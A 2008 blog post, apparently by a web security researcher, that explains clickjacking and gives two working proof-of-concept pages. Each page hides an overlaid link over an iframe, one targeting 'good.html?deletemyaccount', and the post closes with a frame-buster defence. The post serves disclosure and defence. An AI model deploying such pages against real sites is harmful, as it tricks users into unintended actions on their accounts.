November 03, 2008

Clickjacking and event handlers

Intro

The term click-jacking has been around for some weeks including the usual FUD. One of the most substantial reasons for this markup based problem is the fact that combining absolute positioning with smart event handling leads to trouble.

It's (of course) possible to place an IFrame in a sites markup and overlap certain elements in it with DIVs and other elements. The JavaScript event handling model or even plain CSS declarations now allow altering the visibility state of the overlapping elements and controlling the events bound to the element - for example when hovering it.

Some markup

This is a very basic example that simply toggles the links visibility when hovered and thus makes sure that the overlapped link will be clicked.

<html>
<head>
<style>
    html, * {
        padding: 0;
        margin: 0;
        border: 0;
    }
    a#link {
        position: absolute;
        left: 8px;
        top: 8px;
        _left: 12px;
        _top: 17px;
    }
    a#link:hover {
        visibility: hidden;
    }
</style>
</head>
<body>
<iframe id="iframe" src="good.php"></iframe>
<a id="link" href="bad.html">Click</a>
<div id="info"></div>
</body>
</html>

There's no event handling yet - but since the whole action probably happens on the attacker's domain this feature can be added via XBL or expression() and maybe someday the W3C binding(). If XBL or comparable is not an option the click theft including event management can still be done with plain JavaScript.

<html>
<head>
<style>
    html, * {
        padding: 0;
        margin: 0;
        border: 0;
    }
    a#link {
        position: absolute;
        left: 8px;
        top: 8px;
        _left: 12px;
        _top: 17px;
    }
</style>
</head>
<body>
<iframe id="iframe" src="good.html?deletemyaccount"></iframe>
<a id="link" href="bad.html">Click</a>
<div id="info"></div>
<script>
    var link    = document.getElementById('link');
    link.onmouseover = function() {
        this.style.display = 'none';
        document.getElementById('info').innerHTML = 'just hovered: ' + this.href + '<br>';
        setTimeout(function() {
            link.style.display = 'inline';
        },150);
    }

</script>
</body>
</html>

Conclusion

Both rather simple examples work in FF3, IE8 and Safari. Opera works quite fine with the first one but has some problems with the second variant. It's needless to say what can be done with this technique. In the described examples a simple frame buster turns out to be useful.

if(top !== self) {
    top.location.href = self.location.href;
}

Nevertheless the victim of this attack technique has to visit a website controlled by the attacker - either via a phishing attempt or a cross site scripted 3rd party website. The Firefox extension NoScript meanwhile offers quite good protection against most click-jacking scenarios.

No comments:

Post a Comment